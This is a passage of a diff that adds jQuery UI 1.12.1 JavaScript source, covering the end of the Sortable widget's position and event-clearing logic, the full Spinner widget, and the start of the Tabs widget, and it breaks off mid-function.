) { + + if ( !pos ) { + pos = this.position; + } + var mod = d === "absolute" ? 1 : -1, + scroll = this.cssPosition === "absolute" && + !( this.scrollParent[ 0 ] !== this.document[ 0 ] && + $.contains( this.scrollParent[ 0 ], this.offsetParent[ 0 ] ) ) ? + this.offsetParent : + this.scrollParent, + scrollIsRootNode = ( /(html|body)/i ).test( scroll[ 0 ].tagName ); + + return { + top: ( + + // The absolute mouse position + pos.top + + + // Only for relative positioned nodes: Relative offset from element to offset parent + this.offset.relative.top * mod + + + // The offsetParent's offset without borders (offset + border) + this.offset.parent.top * mod - + ( ( this.cssPosition === "fixed" ? + -this.scrollParent.scrollTop() : + ( scrollIsRootNode ? 0 : scroll.scrollTop() ) ) * mod ) + ), + left: ( + + // The absolute mouse position + pos.left + + + // Only for relative positioned nodes: Relative offset from element to offset parent + this.offset.relative.left * mod + + + // The offsetParent's offset without borders (offset + border) + this.offset.parent.left * mod - + ( ( this.cssPosition === "fixed" ? + -this.scrollParent.scrollLeft() : scrollIsRootNode ? 0 : + scroll.scrollLeft() ) * mod ) + ) + }; + + }, + + _generatePosition: function( event ) { + + var top, left, + o = this.options, + pageX = event.pageX, + pageY = event.pageY, + scroll = this.cssPosition === "absolute" && + !( this.scrollParent[ 0 ] !== this.document[ 0 ] && + $.contains( this.scrollParent[ 0 ], this.offsetParent[ 0 ] ) ) ? + this.offsetParent : + this.scrollParent, + scrollIsRootNode = ( /(html|body)/i ).test( scroll[ 0 ].tagName ); + + // This is another very weird special case that only happens for relative elements: + // 1. If the css position is relative + // 2. and the scroll parent is the document or similar to the offset parent + // we have to refresh the relative offset during the scroll so there are no jumps + if ( this.cssPosition === "relative" && !( this.scrollParent[ 0 ] !== this.document[ 0 ] && + this.scrollParent[ 0 ] !== this.offsetParent[ 0 ] ) ) { + this.offset.relative = this._getRelativeOffset(); + } + + /* + * - Position constraining - + * Constrain the position to a mix of grid, containment. + */ + + if ( this.originalPosition ) { //If we are not dragging yet, we won't check for options + + if ( this.containment ) { + if ( event.pageX - this.offset.click.left < this.containment[ 0 ] ) { + pageX = this.containment[ 0 ] + this.offset.click.left; + } + if ( event.pageY - this.offset.click.top < this.containment[ 1 ] ) { + pageY = this.containment[ 1 ] + this.offset.click.top; + } + if ( event.pageX - this.offset.click.left > this.containment[ 2 ] ) { + pageX = this.containment[ 2 ] + this.offset.click.left; + } + if ( event.pageY - this.offset.click.top > this.containment[ 3 ] ) { + pageY = this.containment[ 3 ] + this.offset.click.top; + } + } + + if ( o.grid ) { + top = this.originalPageY + Math.round( ( pageY - this.originalPageY ) / + o.grid[ 1 ] ) * o.grid[ 1 ]; + pageY = this.containment ? + ( ( top - this.offset.click.top >= this.containment[ 1 ] && + top - this.offset.click.top <= this.containment[ 3 ] ) ? + top : + ( ( top - this.offset.click.top >= this.containment[ 1 ] ) ? + top - o.grid[ 1 ] : top + o.grid[ 1 ] ) ) : + top; + + left = this.originalPageX + Math.round( ( pageX - this.originalPageX ) / + o.grid[ 0 ] ) * o.grid[ 0 ]; + pageX = this.containment ? + ( ( left - this.offset.click.left >= this.containment[ 0 ] && + left - this.offset.click.left <= this.containment[ 2 ] ) ? + left : + ( ( left - this.offset.click.left >= this.containment[ 0 ] ) ? + left - o.grid[ 0 ] : left + o.grid[ 0 ] ) ) : + left; + } + + } + + return { + top: ( + + // The absolute mouse position + pageY - + + // Click offset (relative to the element) + this.offset.click.top - + + // Only for relative positioned nodes: Relative offset from element to offset parent + this.offset.relative.top - + + // The offsetParent's offset without borders (offset + border) + this.offset.parent.top + + ( ( this.cssPosition === "fixed" ? + -this.scrollParent.scrollTop() : + ( scrollIsRootNode ? 0 : scroll.scrollTop() ) ) ) + ), + left: ( + + // The absolute mouse position + pageX - + + // Click offset (relative to the element) + this.offset.click.left - + + // Only for relative positioned nodes: Relative offset from element to offset parent + this.offset.relative.left - + + // The offsetParent's offset without borders (offset + border) + this.offset.parent.left + + ( ( this.cssPosition === "fixed" ? + -this.scrollParent.scrollLeft() : + scrollIsRootNode ? 0 : scroll.scrollLeft() ) ) + ) + }; + + }, + + _rearrange: function( event, i, a, hardRefresh ) { + + a ? a[ 0 ].appendChild( this.placeholder[ 0 ] ) : + i.item[ 0 ].parentNode.insertBefore( this.placeholder[ 0 ], + ( this.direction === "down" ? i.item[ 0 ] : i.item[ 0 ].nextSibling ) ); + + //Various things done here to improve the performance: + // 1. we create a setTimeout, that calls refreshPositions + // 2. on the instance, we have a counter variable, that get's higher after every append + // 3. on the local scope, we copy the counter variable, and check in the timeout, + // if it's still the same + // 4. this lets only the last addition to the timeout stack through + this.counter = this.counter ? ++this.counter : 1; + var counter = this.counter; + + this._delay( function() { + if ( counter === this.counter ) { + + //Precompute after each DOM insertion, NOT on mousemove + this.refreshPositions( !hardRefresh ); + } + } ); + + }, + + _clear: function( event, noPropagation ) { + + this.reverting = false; + + // We delay all events that have to be triggered to after the point where the placeholder + // has been removed and everything else normalized again + var i, + delayedTriggers = []; + + // We first have to update the dom position of the actual currentItem + // Note: don't do it if the current item is already removed (by a user), or it gets + // reappended (see #4088) + if ( !this._noFinalSort && this.currentItem.parent().length ) { + this.placeholder.before( this.currentItem ); + } + this._noFinalSort = null; + + if ( this.helper[ 0 ] === this.currentItem[ 0 ] ) { + for ( i in this._storedCSS ) { + if ( this._storedCSS[ i ] === "auto" || this._storedCSS[ i ] === "static" ) { + this._storedCSS[ i ] = ""; + } + } + this.currentItem.css( this._storedCSS ); + this._removeClass( this.currentItem, "ui-sortable-helper" ); + } else { + this.currentItem.show(); + } + + if ( this.fromOutside && !noPropagation ) { + delayedTriggers.push( function( event ) { + this._trigger( "receive", event, this._uiHash( this.fromOutside ) ); + } ); + } + if ( ( this.fromOutside || + this.domPosition.prev !== + this.currentItem.prev().not( ".ui-sortable-helper" )[ 0 ] || + this.domPosition.parent !== this.currentItem.parent()[ 0 ] ) && !noPropagation ) { + + // Trigger update callback if the DOM position has changed + delayedTriggers.push( function( event ) { + this._trigger( "update", event, this._uiHash() ); + } ); + } + + // Check if the items Container has Changed and trigger appropriate + // events. + if ( this !== this.currentContainer ) { + if ( !noPropagation ) { + delayedTriggers.push( function( event ) { + this._trigger( "remove", event, this._uiHash() ); + } ); + delayedTriggers.push( ( function( c ) { + return function( event ) { + c._trigger( "receive", event, this._uiHash( this ) ); + }; + } ).call( this, this.currentContainer ) ); + delayedTriggers.push( ( function( c ) { + return function( event ) { + c._trigger( "update", event, this._uiHash( this ) ); + }; + } ).call( this, this.currentContainer ) ); + } + } + + //Post events to containers + function delayEvent( type, instance, container ) { + return function( event ) { + container._trigger( type, event, instance._uiHash( instance ) ); + }; + } + for ( i = this.containers.length - 1; i >= 0; i-- ) { + if ( !noPropagation ) { + delayedTriggers.push( delayEvent( "deactivate", this, this.containers[ i ] ) ); + } + if ( this.containers[ i ].containerCache.over ) { + delayedTriggers.push( delayEvent( "out", this, this.containers[ i ] ) ); + this.containers[ i ].containerCache.over = 0; + } + } + + //Do what was originally in plugins + if ( this.storedCursor ) { + this.document.find( "body" ).css( "cursor", this.storedCursor ); + this.storedStylesheet.remove(); + } + if ( this._storedOpacity ) { + this.helper.css( "opacity", this._storedOpacity ); + } + if ( this._storedZIndex ) { + this.helper.css( "zIndex", this._storedZIndex === "auto" ? "" : this._storedZIndex ); + } + + this.dragging = false; + + if ( !noPropagation ) { + this._trigger( "beforeStop", event, this._uiHash() ); + } + + //$(this.placeholder[0]).remove(); would have been the jQuery way - unfortunately, + // it unbinds ALL events from the original node! + this.placeholder[ 0 ].parentNode.removeChild( this.placeholder[ 0 ] ); + + if ( !this.cancelHelperRemoval ) { + if ( this.helper[ 0 ] !== this.currentItem[ 0 ] ) { + this.helper.remove(); + } + this.helper = null; + } + + if ( !noPropagation ) { + for ( i = 0; i < delayedTriggers.length; i++ ) { + + // Trigger all delayed events + delayedTriggers[ i ].call( this, event ); + } + this._trigger( "stop", event, this._uiHash() ); + } + + this.fromOutside = false; + return !this.cancelHelperRemoval; + + }, + + _trigger: function() { + if ( $.Widget.prototype._trigger.apply( this, arguments ) === false ) { + this.cancel(); + } + }, + + _uiHash: function( _inst ) { + var inst = _inst || this; + return { + helper: inst.helper, + placeholder: inst.placeholder || $( [] ), + position: inst.position, + originalPosition: inst.originalPosition, + offset: inst.positionAbs, + item: inst.currentItem, + sender: _inst ? _inst.element : null + }; + } + +} ); + + +/*! + * jQuery UI Spinner 1.12.1 + * http://jqueryui.com + * + * Copyright jQuery Foundation and other contributors + * Released under the MIT license. + * http://jquery.org/license + */ + +//>>label: Spinner +//>>group: Widgets +//>>description: Displays buttons to easily input numbers via the keyboard or mouse. +//>>docs: http://api.jqueryui.com/spinner/ +//>>demos: http://jqueryui.com/spinner/ +//>>css.structure: ../../themes/base/core.css +//>>css.structure: ../../themes/base/spinner.css +//>>css.theme: ../../themes/base/theme.css + + + +function spinnerModifer( fn ) { + return function() { + var previous = this.element.val(); + fn.apply( this, arguments ); + this._refresh(); + if ( previous !== this.element.val() ) { + this._trigger( "change" ); + } + }; +} + +$.widget( "ui.spinner", { + version: "1.12.1", + defaultElement: "<input>", + widgetEventPrefix: "spin", + options: { + classes: { + "ui-spinner": "ui-corner-all", + "ui-spinner-down": "ui-corner-br", + "ui-spinner-up": "ui-corner-tr" + }, + culture: null, + icons: { + down: "ui-icon-triangle-1-s", + up: "ui-icon-triangle-1-n" + }, + incremental: true, + max: null, + min: null, + numberFormat: null, + page: 10, + step: 1, + + change: null, + spin: null, + start: null, + stop: null + }, + + _create: function() { + + // handle string values that need to be parsed + this._setOption( "max", this.options.max ); + this._setOption( "min", this.options.min ); + this._setOption( "step", this.options.step ); + + // Only format if there is a value, prevents the field from being marked + // as invalid in Firefox, see #9573. + if ( this.value() !== "" ) { + + // Format the value, but don't constrain. + this._value( this.element.val(), true ); + } + + this._draw(); + this._on( this._events ); + this._refresh(); + + // Turning off autocomplete prevents the browser from remembering the + // value when navigating through history, so we re-enable autocomplete + // if the page is unloaded before the widget is destroyed. #7790 + this._on( this.window, { + beforeunload: function() { + this.element.removeAttr( "autocomplete" ); + } + } ); + }, + + _getCreateOptions: function() { + var options = this._super(); + var element = this.element; + + $.each( [ "min", "max", "step" ], function( i, option ) { + var value = element.attr( option ); + if ( value != null && value.length ) { + options[ option ] = value; + } + } ); + + return options; + }, + + _events: { + keydown: function( event ) { + if ( this._start( event ) && this._keydown( event ) ) { + event.preventDefault(); + } + }, + keyup: "_stop", + focus: function() { + this.previous = this.element.val(); + }, + blur: function( event ) { + if ( this.cancelBlur ) { + delete this.cancelBlur; + return; + } + + this._stop(); + this._refresh(); + if ( this.previous !== this.element.val() ) { + this._trigger( "change", event ); + } + }, + mousewheel: function( event, delta ) { + if ( !delta ) { + return; + } + if ( !this.spinning && !this._start( event ) ) { + return false; + } + + this._spin( ( delta > 0 ? 1 : -1 ) * this.options.step, event ); + clearTimeout( this.mousewheelTimer ); + this.mousewheelTimer = this._delay( function() { + if ( this.spinning ) { + this._stop( event ); + } + }, 100 ); + event.preventDefault(); + }, + "mousedown .ui-spinner-button": function( event ) { + var previous; + + // We never want the buttons to have focus; whenever the user is + // interacting with the spinner, the focus should be on the input. + // If the input is focused then this.previous is properly set from + // when the input first received focus. If the input is not focused + // then we need to set this.previous based on the value before spinning. + previous = this.element[ 0 ] === $.ui.safeActiveElement( this.document[ 0 ] ) ? + this.previous : this.element.val(); + function checkFocus() { + var isActive = this.element[ 0 ] === $.ui.safeActiveElement( this.document[ 0 ] ); + if ( !isActive ) { + this.element.trigger( "focus" ); + this.previous = previous; + + // support: IE + // IE sets focus asynchronously, so we need to check if focus + // moved off of the input because the user clicked on the button. + this._delay( function() { + this.previous = previous; + } ); + } + } + + // Ensure focus is on (or stays on) the text field + event.preventDefault(); + checkFocus.call( this ); + + // Support: IE + // IE doesn't prevent moving focus even with event.preventDefault() + // so we set a flag to know when we should ignore the blur event + // and check (again) if focus moved off of the input. + this.cancelBlur = true; + this._delay( function() { + delete this.cancelBlur; + checkFocus.call( this ); + } ); + + if ( this._start( event ) === false ) { + return; + } + + this._repeat( null, $( event.currentTarget ) + .hasClass( "ui-spinner-up" ) ? 1 : -1, event ); + }, + "mouseup .ui-spinner-button": "_stop", + "mouseenter .ui-spinner-button": function( event ) { + + // button will add ui-state-active if mouse was down while mouseleave and kept down + if ( !$( event.currentTarget ).hasClass( "ui-state-active" ) ) { + return; + } + + if ( this._start( event ) === false ) { + return false; + } + this._repeat( null, $( event.currentTarget ) + .hasClass( "ui-spinner-up" ) ? 1 : -1, event ); + }, + + // TODO: do we really want to consider this a stop? + // shouldn't we just stop the repeater and wait until mouseup before + // we trigger the stop event? + "mouseleave .ui-spinner-button": "_stop" + }, + + // Support mobile enhanced option and make backcompat more sane + _enhance: function() { + this.uiSpinner = this.element + .attr( "autocomplete", "off" ) + .wrap( "<span>" ) + .parent() + + // Add buttons + .append( + "<a></a><a></a>" + ); + }, + + _draw: function() { + this._enhance(); + + this._addClass( this.uiSpinner, "ui-spinner", "ui-widget ui-widget-content" ); + this._addClass( "ui-spinner-input" ); + + this.element.attr( "role", "spinbutton" ); + + // Button bindings + this.buttons = this.uiSpinner.children( "a" ) + .attr( "tabIndex", -1 ) + .attr( "aria-hidden", true ) + .button( { + classes: { + "ui-button": "" + } + } ); + + // TODO: Right now button does not support classes this is already updated in button PR + this._removeClass( this.buttons, "ui-corner-all" ); + + this._addClass( this.buttons.first(), "ui-spinner-button ui-spinner-up" ); + this._addClass( this.buttons.last(), "ui-spinner-button ui-spinner-down" ); + this.buttons.first().button( { + "icon": this.options.icons.up, + "showLabel": false + } ); + this.buttons.last().button( { + "icon": this.options.icons.down, + "showLabel": false + } ); + + // IE 6 doesn't understand height: 50% for the buttons + // unless the wrapper has an explicit height + if ( this.buttons.height() > Math.ceil( this.uiSpinner.height() * 0.5 ) && + this.uiSpinner.height() > 0 ) { + this.uiSpinner.height( this.uiSpinner.height() ); + } + }, + + _keydown: function( event ) { + var options = this.options, + keyCode = $.ui.keyCode; + + switch ( event.keyCode ) { + case keyCode.UP: + this._repeat( null, 1, event ); + return true; + case keyCode.DOWN: + this._repeat( null, -1, event ); + return true; + case keyCode.PAGE_UP: + this._repeat( null, options.page, event ); + return true; + case keyCode.PAGE_DOWN: + this._repeat( null, -options.page, event ); + return true; + } + + return false; + }, + + _start: function( event ) { + if ( !this.spinning && this._trigger( "start", event ) === false ) { + return false; + } + + if ( !this.counter ) { + this.counter = 1; + } + this.spinning = true; + return true; + }, + + _repeat: function( i, steps, event ) { + i = i || 500; + + clearTimeout( this.timer ); + this.timer = this._delay( function() { + this._repeat( 40, steps, event ); + }, i ); + + this._spin( steps * this.options.step, event ); + }, + + _spin: function( step, event ) { + var value = this.value() || 0; + + if ( !this.counter ) { + this.counter = 1; + } + + value = this._adjustValue( value + step * this._increment( this.counter ) ); + + if ( !this.spinning || this._trigger( "spin", event, { value: value } ) !== false ) { + this._value( value ); + this.counter++; + } + }, + + _increment: function( i ) { + var incremental = this.options.incremental; + + if ( incremental ) { + return $.isFunction( incremental ) ? + incremental( i ) : + Math.floor( i * i * i / 50000 - i * i / 500 + 17 * i / 200 + 1 ); + } + + return 1; + }, + + _precision: function() { + var precision = this._precisionOf( this.options.step ); + if ( this.options.min !== null ) { + precision = Math.max( precision, this._precisionOf( this.options.min ) ); + } + return precision; + }, + + _precisionOf: function( num ) { + var str = num.toString(), + decimal = str.indexOf( "." ); + return decimal === -1 ? 0 : str.length - decimal - 1; + }, + + _adjustValue: function( value ) { + var base, aboveMin, + options = this.options; + + // Make sure we're at a valid step + // - find out where we are relative to the base (min or 0) + base = options.min !== null ? options.min : 0; + aboveMin = value - base; + + // - round to the nearest step + aboveMin = Math.round( aboveMin / options.step ) * options.step; + + // - rounding is based on 0, so adjust back to our base + value = base + aboveMin; + + // Fix precision from bad JS floating point math + value = parseFloat( value.toFixed( this._precision() ) ); + + // Clamp the value + if ( options.max !== null && value > options.max ) { + return options.max; + } + if ( options.min !== null && value < options.min ) { + return options.min; + } + + return value; + }, + + _stop: function( event ) { + if ( !this.spinning ) { + return; + } + + clearTimeout( this.timer ); + clearTimeout( this.mousewheelTimer ); + this.counter = 0; + this.spinning = false; + this._trigger( "stop", event ); + }, + + _setOption: function( key, value ) { + var prevValue, first, last; + + if ( key === "culture" || key === "numberFormat" ) { + prevValue = this._parse( this.element.val() ); + this.options[ key ] = value; + this.element.val( this._format( prevValue ) ); + return; + } + + if ( key === "max" || key === "min" || key === "step" ) { + if ( typeof value === "string" ) { + value = this._parse( value ); + } + } + if ( key === "icons" ) { + first = this.buttons.first().find( ".ui-icon" ); + this._removeClass( first, null, this.options.icons.up ); + this._addClass( first, null, value.up ); + last = this.buttons.last().find( ".ui-icon" ); + this._removeClass( last, null, this.options.icons.down ); + this._addClass( last, null, value.down ); + } + + this._super( key, value ); + }, + + _setOptionDisabled: function( value ) { + this._super( value ); + + this._toggleClass( this.uiSpinner, null, "ui-state-disabled", !!value ); + this.element.prop( "disabled", !!value ); + this.buttons.button( value ? "disable" : "enable" ); + }, + + _setOptions: spinnerModifer( function( options ) { + this._super( options ); + } ), + + _parse: function( val ) { + if ( typeof val === "string" && val !== "" ) { + val = window.Globalize && this.options.numberFormat ? + Globalize.parseFloat( val, 10, this.options.culture ) : +val; + } + return val === "" || isNaN( val ) ? null : val; + }, + + _format: function( value ) { + if ( value === "" ) { + return ""; + } + return window.Globalize && this.options.numberFormat ? + Globalize.format( value, this.options.numberFormat, this.options.culture ) : + value; + }, + + _refresh: function() { + this.element.attr( { + "aria-valuemin": this.options.min, + "aria-valuemax": this.options.max, + + // TODO: what should we do with values that can't be parsed? + "aria-valuenow": this._parse( this.element.val() ) + } ); + }, + + isValid: function() { + var value = this.value(); + + // Null is invalid + if ( value === null ) { + return false; + } + + // If value gets adjusted, it's invalid + return value === this._adjustValue( value ); + }, + + // Update the value without triggering change + _value: function( value, allowAny ) { + var parsed; + if ( value !== "" ) { + parsed = this._parse( value ); + if ( parsed !== null ) { + if ( !allowAny ) { + parsed = this._adjustValue( parsed ); + } + value = this._format( parsed ); + } + } + this.element.val( value ); + this._refresh(); + }, + + _destroy: function() { + this.element + .prop( "disabled", false ) + .removeAttr( "autocomplete role aria-valuemin aria-valuemax aria-valuenow" ); + + this.uiSpinner.replaceWith( this.element ); + }, + + stepUp: spinnerModifer( function( steps ) { + this._stepUp( steps ); + } ), + _stepUp: function( steps ) { + if ( this._start() ) { + this._spin( ( steps || 1 ) * this.options.step ); + this._stop(); + } + }, + + stepDown: spinnerModifer( function( steps ) { + this._stepDown( steps ); + } ), + _stepDown: function( steps ) { + if ( this._start() ) { + this._spin( ( steps || 1 ) * -this.options.step ); + this._stop(); + } + }, + + pageUp: spinnerModifer( function( pages ) { + this._stepUp( ( pages || 1 ) * this.options.page ); + } ), + + pageDown: spinnerModifer( function( pages ) { + this._stepDown( ( pages || 1 ) * this.options.page ); + } ), + + value: function( newVal ) { + if ( !arguments.length ) { + return this._parse( this.element.val() ); + } + spinnerModifer( this._value ).call( this, newVal ); + }, + + widget: function() { + return this.uiSpinner; + } +} ); + +// DEPRECATED +// TODO: switch return back to widget declaration at top of file when this is removed +if ( $.uiBackCompat !== false ) { + + // Backcompat for spinner html extension points + $.widget( "ui.spinner", $.ui.spinner, { + _enhance: function() { + this.uiSpinner = this.element + .attr( "autocomplete", "off" ) + .wrap( this._uiSpinnerHtml() ) + .parent() + + // Add buttons + .append( this._buttonHtml() ); + }, + _uiSpinnerHtml: function() { + return "<span>"; + }, + + _buttonHtml: function() { + return "<a></a><a></a>"; + } + } ); +} + +var widgetsSpinner = $.ui.spinner; + + +/*! + * jQuery UI Tabs 1.12.1 + * http://jqueryui.com + * + * Copyright jQuery Foundation and other contributors + * Released under the MIT license. + * http://jquery.org/license + */ + +//>>label: Tabs +//>>group: Widgets +//>>description: Transforms a set of container elements into a tab structure. +//>>docs: http://api.jqueryui.com/tabs/ +//>>demos: http://jqueryui.com/tabs/ +//>>css.structure: ../../themes/base/core.css +//>>css.structure: ../../themes/base/tabs.css +//>>css.theme: ../../themes/base/theme.css + + + +$.widget( "ui.tabs", { + version: "1.12.1", + delay: 300, + options: { + active: null, + classes: { + "ui-tabs": "ui-corner-all", + "ui-tabs-nav": "ui-corner-all", + "ui-tabs-panel": "ui-corner-bottom", + "ui-tabs-tab": "ui-corner-top" + }, + collapsible: false, + event: "click", + heightStyle: "content", + hide: null, + show: null, + + // Callbacks + activate: null, + beforeActivate: null, + beforeLoad: null, + load: null + }, + + _isLocal: ( function() { + var rhash = /#.*$/; + + return function( anchor ) { + var anchorUrl, locationUrl; + + anchorUrl = anchor.href.replace( rhash, "" ); + locationUrl = location.href.replace( rhash, "" ); + + // Decoding may throw an error if the URL isn't UTF-8 (#9518) + try { + anchorUrl = decodeURIComponent( anchorUrl ); + } catch ( error ) {} + try { + locationUrl = decodeURIComponent( locationUrl ); + } catch ( error ) {} + + return anchor.hash.length > 1 && anchorUrl === locationUrl; + }; + } )(), + + _create: function() { + var that = this, + options = this.options; + + this.running = false; + + this._addClass( "ui-tabs", "ui-widget ui-widget-content" ); + this._toggleClass( "ui-tabs-collapsible", null, options.collapsible ); + + this._processTabs(); + options.active = this._initialActive(); + + // Take disabling tabs via class attribute from HTML + // into account and update option properly. + if ( $.isArray( options.disabled ) ) { + options.disabled = $.unique( options.disabled.concat( + $.map( this.tabs.filter( ".ui-state-disabled" ), function( li ) { + return that.tabs.index( li ); + } ) + ) ).sort(); + } + + // Check for length avoids error when initializing empty list + if ( this.options.active !== false && this.anchors.length ) { + this.active = this._findActive( options.active ); + } else { + this.active = $(); + } + + this._refresh(); + + if ( this.active.length ) { + this.load( options.active ); + } + }, + + _initialActive: function() { + var active = this.options.active, + collapsible = this.options.collapsible, + locationHash = location.hash.substring( 1 ); + + if ( active === null ) { + + // check the fragment identifier in the URL + if ( locationHash ) { + this.tabs.each( function( i, tab ) { + if ( $( tab ).attr( "aria-controls" ) === locationHash ) { + active = i; + return false; + } + } ); + } + + // Check for a tab marked active via a class + if ( active === null ) { + active = this.tabs.index( this.tabs.filter( ".ui-tabs-active" ) ); + } + + // No active tab, set to false + if ( active === null || active === -1 ) { + active = this.tabs.length ? 0 : false; + } + } + + // Handle numbers: negative, out of range + if ( active !== false ) { + active = this.tabs.index( this.tabs.eq( active ) ); + if ( active === -1 ) { + active = collapsible ? false : 0; + } + } + + // Don't allow collapsible: false and active: false + if ( !collapsible && active === false && this.anchors.length ) { + active = 0; + } + + return active; + }, + + _getCreateEventData: function() { + return { + tab: this.active, + panel: !this.active.length ? $() : this._getPanelForTab( this.active ) + }; + }, + + _tabKeydown: function( event ) { + var focusedTab = $( $.ui.safeActiveElement( this.document[ 0 ] ) ).closest( "li" ), + selectedIndex = this.tabs.index( focusedTab ), + goingForward = true; + + if ( this._handlePageNav( event ) ) { + return; + } + + switch ( event.keyCode ) { + case $.ui.keyCode.RIGHT: + case $.ui.keyCode.DOWN: + selectedIndex++; + break; + case $.ui.keyCode.UP: + case $.ui.keyCode.LEFT: + goingForward = false; + selectedIndex--; + break; + case $.ui.keyCode.END: + selectedIndex = this.anchors.length - 1; + break; + case $.ui.keyCode.HOME: + selectedIndex = 0; + break; + case $.ui.keyCode.SPACE: + + // Activate only, no collapsing + event.preventDefault(); + clearTimeout( this.activating ); + this._activate( selectedIndex ); + return; + case $.ui.keyCode.ENTER: + + // Toggle (cancel delayed activation, allow collapsing) + event.preventDefault(); + clearTimeout( this.activating ); + + // Determine if we should collapse or activate + this._activate( selectedIndex === this.options.active ? false : selectedIndex ); + return; + default: + return; + } + + // Focus the appropriate tab, based on which key was pressed + event.preventDefault(); + clearTimeout( this.activating ); + selectedIndex = this._focusNextTab( selectedIndex, goingForward ); + + // Navigating with control/command key will prevent automatic activation + if ( !event.ctrlKey && !event.metaKey ) { + + // Update aria-selected immediately so that AT think the tab is already selected. + // Otherwise AT may confuse the user by stating that they need to activate the tab, + // but the tab will already be activated by the time the announcement finishes. + focusedTab.attr( "aria-selected", "false" ); + this.tabs.eq( selectedIndex ).attr( "aria-selected", "true" ); + + this.activating = this._delay( function() { + this.option( "active", selectedIndex ); + }, this.delay ); + } + }, + + _panelKeydown: function( event ) { + if ( this._handlePageNav( event ) ) { + return; + } + + // Ctrl+up moves focus to the current tab + if ( event.ctrlKey && event.keyCode === $.ui.keyCode.UP ) { + event.preventDefault(); + this.active.trigger( "focus" ); + } + }, + + // Alt+page up/down moves focus to the previous/next tab (and activates) + _handlePageNav: function( event ) { + if ( event.altKey && event.keyCode === $.ui.keyCode.PAGE_UP ) { + this._activate( this._focusNextTab( this.options.active - 1, false ) ); + return true; + } + if ( event.altKey && event.keyCode === $.ui.keyCode.PAGE_DOWN ) { + this._activate( this._focusNextTab( this.options.active + 1, true ) ); + return true; + } + }, + + _findNextTab: function( index, goingForward ) { + var lastTabIndex = this.tabs.length - 1; + + function constrain() { + if ( index > lastTabIndex ) { + index = 0; + } + if ( index < 0 ) { + index = lastTabIndex; + } + return index; + } + + while ( $.inArray( constrain(), this.options.disabled ) !== -1 ) { + index = goingForward ? index + 1 : index - 1; + } + + return index; + }, + + _focusNextTab: function( index, goingForward ) { + index = this._findNextTab( index, goingForward ); + this.tabs.eq( index ).trigger( "focus" ); + return index; + }, + + _setOption: function( key, value ) { + if ( key === "active" ) { + + // _activate() will handle invalid values and update this.options + this._activate( value ); + return; + } + + this._super( key, value ); + + if ( key === "collapsible" ) { + this._toggleClass( "ui-tabs-collapsible", null, value ); + + // Setting collapsible: false while collapsed; open first panel + if ( !value && this.options.active === false ) { + this._activate( 0 ); + } + } + + if ( key === "event" ) { + this._setupEvents( value ); + } + + if ( key === "heightStyle" ) { + this._setupHeightStyle( value ); + } + }, + + _sanitizeSelector: function( hash ) { + return hash ? hash.replace( /[!"$%&'()*+,.\/:;<=>?@\[\]\^`{|}~]/g, "\\$&" ) : ""; + }, + + refresh: function() { + var options = this.options, + lis = this.tablist.children( ":has(a[href])" ); + + // Get disabled tabs from class attribute from HTML + // this will get converted to a boolean if needed in _refresh() + options.disabled = $.map( lis.filter( ".ui-state-disabled" ), function( tab ) { + return lis.index( tab ); + } ); + + this._processTabs(); + + // Was collapsed or no tabs + if ( options.active === false || !this.anchors.length ) { + options.active = false; + this.active = $(); + + // was active, but active tab is gone + } else if ( this.active.length && !$.contains( this.tablist[ 0 ], this.active[ 0 ] ) ) { + + // all remaining tabs are disabled + if ( this.tabs.length === options.disabled.length ) { + options.active = false; + this.active = $(); + + // activate previous tab + } else { + this._activate( this._findNextTab( Math.max( 0, options.active - 1 ), false ) ); + } + + // was active, active tab still exists + } else { + + // make sure active index is correct + options.active = this.tabs.index( this.active ); + } + + this._refresh(); + }, + + _refresh: function() { + this._setOptionDisabled( this.options.disabled ); + this._setupEvents( this.options.event ); + this._setupHeightStyle( this.options.heightStyle ); + + this.tabs.not( this.active ).attr( { + "aria-selected": "false", + "aria-expanded": "false", + tabIndex: -1 + } ); + this.panels.not( this._getPanelForTab( this.active ) ) + .hide() + .attr( { + "aria-hidden": "true" + } ); + + // Make sure one tab is in the tab order + if ( !this.active.length ) { + this.tabs.eq( 0 ).attr( "tabIndex", 0 ); + } else { + this.active + .attr( { + "aria-selected": "true", + "aria-expanded": "true", + tabIndex: 0 + } ); + this._addClass( this.active, "ui-tabs-active", "ui-state-active" ); + this._getPanelForTab( this.active ) + .show() + .attr( { + "aria-hidden": "false" + } ); + } + }, + + _processTabs: function() { + var that = this, + prevTabs = this.tabs, + prevAnchors = this.anchors, + prevPanels = this.panels; + + this.tablist = this._getList().attr( "role", "tablist" ); + this._addClass( this.tablist, "ui-tabs-nav", + "ui-helper-reset ui-helper-clearfix ui-widget-header" ); + + // Prevent users from focusing disabled tabs via click + this.tablist + .on( "mousedown" + this.eventNamespace, "> li", function( event ) { + if ( $( this ).is( ".ui-state-disabled" ) ) { + event.preventDefault(); + } + } ) + + // Support: IE <9 + // Preventing the default action in mousedown doesn't prevent IE + // from focusing the element, so if the anchor gets focused, blur. + // We don't have to worry about focusing the previously focused + // element since clicking on a non-focusable element should focus + // the body anyway. + .on( "focus" + this.eventNamespace, ".ui-tabs-anchor", function() { + if ( $( this ).closest( "li" ).is( ".ui-state-disabled" ) ) { + this.blur(); + } + } ); + + this.tabs = this.tablist.find( "> li:has(a[href])" ) + .attr( { + role: "tab", + tabIndex: -1 + } ); + this._addClass( this.tabs, "ui-tabs-tab", "ui-state-default" ); + + this.anchors = this.tabs.map( function() { + return $( "a", this )[ 0 ]; + } ) + .attr( { + role: "presentation", + tabIndex: -1 + } ); + this._addClass( this.anchors, "ui-tabs-anchor" ); + + this.panels = $(); + + this.anchors.each( function( i, anchor ) { + var selector, panel, panelId, + anchorId = $( anchor ).uniqueId().attr( "id" ), + tab = $( anchor ).closest( "li" ), + originalAriaControls = tab.attr( "aria-controls" ); + + // Inline tab + if ( that._isLocal( anchor ) ) { + selector = anchor.hash; + panelId = selector.substring( 1 ); + panel = that.element.find( that._sanitizeSelector( selector ) ); + + // remote tab + } else { + + // If the tab doesn't already have aria-controls, + // generate an id by using a throw-away element + panelId = tab.attr( "aria-controls" ) || $( {} ).uniqueId()[ 0 ].id; + selector = "#" + panelId; + panel = that.element.find( selector ); + if ( !panel.length ) { + panel = that._createPanel( panelId ); + panel.insertAfter( that.panels[ i - 1 ] || that.tablist ); + } + panel.attr( "aria-live", "polite" ); + } + + if ( panel.length ) { + that.panels = that.panels.add( panel ); + } + if ( originalAriaControls ) { + tab.data( "ui-tabs-aria-controls", originalAriaControls ); + } + tab.attr( { + "aria-controls": panelId, + "aria-labelledby": anchorId + } ); + panel.attr( "aria-labelledby", anchorId ); + } ); + + 